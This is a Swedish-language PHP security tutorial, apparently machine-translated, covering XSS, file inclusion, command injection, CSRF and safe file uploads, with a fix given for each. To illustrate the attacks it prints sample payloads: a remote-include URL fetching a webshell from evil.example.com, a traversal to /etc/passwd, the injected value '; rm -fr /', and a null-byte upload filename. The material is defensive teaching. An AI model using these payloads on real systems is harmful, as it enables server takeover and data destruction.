PHP
säkerhet
Sök…
Introduktion
Eftersom majoriteten av webbplatserna kör PHP, är applikationssäkerhet ett viktigt ämne för PHP-utvecklare för att skydda sin webbplats, data och klienter. Detta ämne täcker bästa säkerhetspraxis i PHP såväl som vanliga sårbarheter och svagheter med exempelfixer i PHP.
Anmärkningar
Se även
Felrapportering
Som standard PHP kommer ut fel, varningar och notismeddelanden direkt på sidan om något oväntat i ett skript inträffar. Detta är användbart för att lösa specifika problem med ett skript men samtidigt matar det ut information som du inte vill att dina användare ska veta.
Därför är det god praxis att undvika att visa de meddelanden som visar information om din server, till exempel ditt katalogträd i produktionsmiljöer. I en utvecklings- eller testmiljö kan dessa meddelanden fortfarande vara användbara att visa för felsökningsändamål.
En snabb lösning
Du kan stänga av dem så att meddelandena inte visas alls, men detta gör att felsökning av skriptet blir svårare.
<?php
ini_set("display_errors", "0");
?>
Eller ändra dem direkt i php.ini .
display_errors = 0
Hanteringsfel
Ett bättre alternativ skulle vara att lagra dessa felmeddelanden på en plats de är mer användbara, som en databas:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
Den här metoden kommer att logga meddelandena till databasen och om det inte lyckas med en fil istället för att eko dem direkt på sidan. På detta sätt kan du spåra vad användare upplever på din webbplats och meddela dig omedelbart om något går fel.
Cross-Site Scripting (XSS)
Problem
Cross-site scripting är en oavsiktlig exekvering av fjärrkod av en webbklient. Varje webbapplikation kan exponera sig för XSS om den tar input från en användare och matar ut den direkt på en webbsida. Om ingången innehåller HTML eller JavaScript, kan fjärrkod köras när detta innehåll återges av webbklienten.
Till exempel, om en tredje parts sida innehåller en JavaScript- fil:
// http://example.com/runme.js
document.write("I'm running");
Och en PHP-applikation matar ut direkt en sträng som skickas in i den:
<?php
echo '<div>' . $_GET['input'] . '</div>';
Om en avmarkerad GET-parameter innehåller <script src="http://example.com/runme.js"></script>
kommer utdata från PHP-skriptet att vara:
<div><script src="http://example.com/runme.js"></script></div>
Tredje partens JavaScript körs och användaren ser "Jag kör" på webbsidan.
Lösning
Som allmän regel, lita aldrig på input från en klient. Varje värde för GET, POST och cookie kan vara vad som helst och bör därför valideras. När du anger några av dessa värden, undvika dem så att de inte utvärderas på ett oväntat sätt.
Tänk på att även i de enklaste applikationerna kan data flyttas runt och det kommer att vara svårt att hålla reda på alla källor. Därför är det en bra praxis att alltid undgå output.
PHP tillhandahåller några sätt att fly ut från beroende på sammanhang.
Filterfunktioner
PHP: s filterfunktioner tillåter att inmatningsdata till php-skriptet saneras eller valideras på många sätt . De är användbara när du sparar eller sänder klientinmatning.
HTML-kodning
htmlspecialchars
konverterar alla "HTML specialtecken" till deras HTML-kodningar, vilket innebär att de då inte behandlas som standard HTML. Så här fixar vi vårt tidigare exempel med den här metoden:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Skulle producera:
<div><script src="http://example.com/runme.js"></script></div>
Allt inne i <div>
tag kommer inte tolkas som en JavaScript-tagg av webbläsaren, utan i stället som en enkel text nod. Användaren ser säkert:
<script src="http://example.com/runme.js"></script>
URL-kodning
När man matar ut en dynamiskt genererad URL tillhandahåller PHP urlencode
funktionen för att på ett säkert sätt urlencode
ut giltiga URL-adresser. Så, till exempel, om en användare kan mata in data som blir en del av en annan GET-parameter:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
All skadlig inmatning konverteras till en kodad URL-parameter.
Använda specialiserade externa bibliotek eller OWASP AntiSamy-listor
Ibland vill du skicka HTML eller annan typ av kodingångar. Du måste hålla en lista med godkända ord (vitlista) och obehörig (svartlista).
Du kan ladda ner standardlistor som finns tillgängliga på OWASP AntiSamy-webbplatsen . Varje lista passar för en specifik typ av interaktion (ebay api, tinyMCE, osv ...). Och det är öppen källkod.
Det finns bibliotek för att filtrera HTML och förhindra XSS-attacker för det allmänna fallet och utföra åtminstone lika bra som AntiSamy-listor med mycket enkel användning. Till exempel har du HTML Purifier
Fil inkludering
Fjärranslutning av filer
Inkludering av fjärrfil (även känd som RFI) är en typ av sårbarhet som tillåter en angripare att inkludera en fjärrfil.
Detta exempel injicerar en fjärrvärdd fil som innehåller en skadlig kod:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
Lokal fil inkludering
Lokal filinkludering (även känd som LFI) är processen att inkludera filer på en server via webbläsaren.
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
Lösning för RFI & LFI:
Det rekommenderas att endast tillåta att du inkluderar filer du godkände och begränsar endast till dem.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Injektion av kommandoraden
Problem
På ett liknande sätt som SQL-injektion tillåter en angripare att utföra godtyckliga frågor i en databas, låter kommandoradsinjicering någon köra otillförlitliga systemkommandon på en webbserver. Med en felaktigt säkrad server skulle detta ge en angripare full kontroll över ett system.
Låt oss säga, till exempel ett skript tillåter en användare att lista kataloginnehåll på en webbserver.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(I en verklig applikation skulle man använda PHP: s inbyggda funktioner eller objekt för att få väginnehåll. Detta exempel är för en enkel säkerhetsdemonstration.)
Man skulle hoppas att få en path
parameter som liknar /tmp
. Men eftersom alla ingångar är tillåtna, kan path
vara ; rm -fr /
. Webbservern kör sedan kommandot
ls; rm -fr /
och försök ta bort alla filer från serverns rot.
Lösning
Alla kommando argument måste flydde med hjälp av escapeshellarg()
eller escapeshellcmd()
. Detta gör att argumenten inte kan köras. För varje parameter bör ingångsvärdet också valideras .
I det enklaste fallet kan vi säkra vårt exempel med
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Följande föregående exempel med försöket att ta bort filer blir det exekverade kommandot
ls '; rm -fr /'
Och strängen överförs helt enkelt som en parameter till ls
, snarare än att avsluta ls
kommandot och köra rm
.
Det bör noteras att exemplet ovan nu är säkert från kommandoinjektion, men inte från katalogomvandling. För att fixa detta bör det kontrolleras att den normaliserade sökvägen börjar med den önskade underkatalogen.
PHP erbjuder en mängd funktioner för att köra systemkommandon, inklusive exec
, passthru
, proc_open
, shell_exec
och system
. Alla måste ha sina ingångar noggrant validerade och undkomma.
Läckage av PHP-version
Som standard berättar PHP världen vilken version av PHP du använder, t.ex.
X-Powered-By: PHP/5.3.8
För att fixa detta kan du antingen ändra php.ini:
expose_php = off
Eller ändra rubriken:
header("X-Powered-By: Magic");
Eller om du föredrar en htaccess-metod:
Header unset X-Powered-By
Om någon av ovanstående metoder inte fungerar finns det också header_remove()
som ger dig möjlighet att ta bort rubriken:
header_remove('X-Powered-By');
Om angripare vet att du använder PHP och den version av PHP som du använder är det lättare för dem att utnyttja din server.
Strippa taggar
strip_tags
är en mycket kraftfull funktion om du vet hur du använder den. Som en metod för att förhindra skriptattacker över flera webbplatser finns det bättre metoder, såsom teckenkodning, men stripptaggar är användbara i vissa fall.
Grundläggande exempel
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Rå utgång
Hello, please remove the tags.
Tillåter taggar
Säg att du ville tillåta en viss tagg men inga andra taggar, då skulle du ange det i den andra parametern för funktionen. Denna parameter är valfri. I mitt fall vill jag bara att <b>
-taggen ska gå igenom.
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
Rå utgång
<b>Hello, please remove the tags.</b>
Lägger märke till)
HTML
kommentarer och PHP
taggar tas också bort. Detta är hårdkodat och kan inte ändras med allowable_tags.
I PHP
5.3.4 och senare ignoreras självstängande XHTML
taggar och endast icke-självslutande taggar ska användas i allowable_tags. För att tillåta både <br>
och <br/>
bör du till exempel använda:
<?php
strip_tags($input, '<br>');
?>
Cross-Site Request Forgery
Problem
Cross-Site Request Forgery eller CSRF
kan tvinga en slutanvändare att medvetet generera skadliga begäranden till en webbserver. Denna attackvektor kan utnyttjas i både POST- och GET-förfrågningar. Låt oss till exempel säga att url endpoint /delete.php?accnt=12
tar bort konto som skickas från accnt
parametern i en GET-begäran. Nu om en autentiserad användare kommer att stöta på följande skript i något annat program
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
kontot skulle raderas.
Lösning
En vanlig lösning på detta problem är användningen av CSRF-tokens . CSRF-tokens är inbäddade i förfrågningar så att en webbapplikation kan lita på att en begäran kom från en förväntad källa som en del av applikationens normala arbetsflöde. Först utför användaren vissa åtgärder, till exempel att visa en form, som utlöser skapandet av ett unikt token. En exempelform som implementerar detta kan se ut
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
Token kan sedan valideras av servern mot användarsessionen efter formulärinsändning för att eliminera skadliga begäranden.
Exempelkod
Här är provkod för en grundläggande implementering:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Det finns redan många bibliotek och ramverk som har en egen implementering av CSRF-validering. Även om detta är den enkla implementeringen av CSRF, måste du skriva en kod för att regenerera din CSRF-token dynamiskt för att förhindra att CSRF-token stjäls och fixeras.
Laddar upp filer
Om du vill att användare ska ladda upp filer till din server måste du göra ett par säkerhetskontroller innan du faktiskt flyttar den uppladdade filen till din webbkatalog.
Uppladdade data:
Den här matrisen innehåller användarinlämnade data och är inte information om själva filen. Även om vanligtvis denna information genereras av webbläsaren kan man enkelt skicka en postbegäran till samma formulär med hjälp av programvara.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- Kontrollera alla aspekter av det. -
type
- Använd aldrig dessa data. Det kan hämtas med PHP-funktioner istället. -
size
- Säkert att använda. -
tmp_name
- Säkert att använda.
Utnyttja filnamnet
Normalt tillåter operativsystemet inte specifika tecken i ett filnamn, men genom att förfalska begäran kan du lägga till dem så att oväntade saker kan hända. Låter till exempel namnet på filen:
../script.php%00.png
Ta en titt på det filnamnet så att du bör märka ett par saker.
- Den första att märka är
../
, helt olagligt i ett filnamn och samtidigt helt fint om du flyttar en fil från en katalog till en annan, vilket vi ska göra rätt? - Nu kanske du tror att du verifierade filändelserna ordentligt i ditt skript, men detta utnyttjar förlitar sig på URL-avkodningen, översätter
%00
till ettnull
, säger i princip till operativsystemet, den här strängen slutar här, avlägsnar.png
av filnamnet .
Så nu har jag laddat upp script.php
till en annan katalog, genom att vidarebefordra enkla valideringar till filändelser. Det går också förbi .htaccess
filer som tillåter inte skript att köras från din uppladdningskatalog.
Få säkert filnamn och tillägg
Du kan använda pathinfo()
att extrapolera namn och tillägg på ett säkert sätt men först måste vi ersätta oönskade tecken i filnamnet:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
Medan vi nu har ett filnamn och tillägg som kan användas för att lagra föredrar jag fortfarande att lagra den informationen i en databas och ge den filen ett genererat namn på till exempel md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
Detta skulle lösa problemet med duplicerade filnamn och oförutsedda utnyttjanden i filnamnet. Det skulle också få angriparen att gissa var filen har lagrats eftersom han eller hon inte specifikt kan rikta in sig på den för körning.
Validering av Mime-typ
Att kontrollera en filändelse för att bestämma vilken fil den är räcker inte eftersom en fil kan namnges image.png
men kan mycket väl innehålla ett php-skript. Genom att kontrollera mimetypen för den uppladdade filen mot en filändelse kan du verifiera om filen innehåller vad dess namn refererar till.
Du kan till och med gå ett steg längre för att validera bilder, och det är faktiskt att öppna dem:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
Du kan hämta mimetypen med en inbyggd funktion eller en klass .
Vit som listar dina uppladdningar
Det viktigaste av allt är att du bör göra en lista över filändelser och mimtyper beroende på varje form.
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));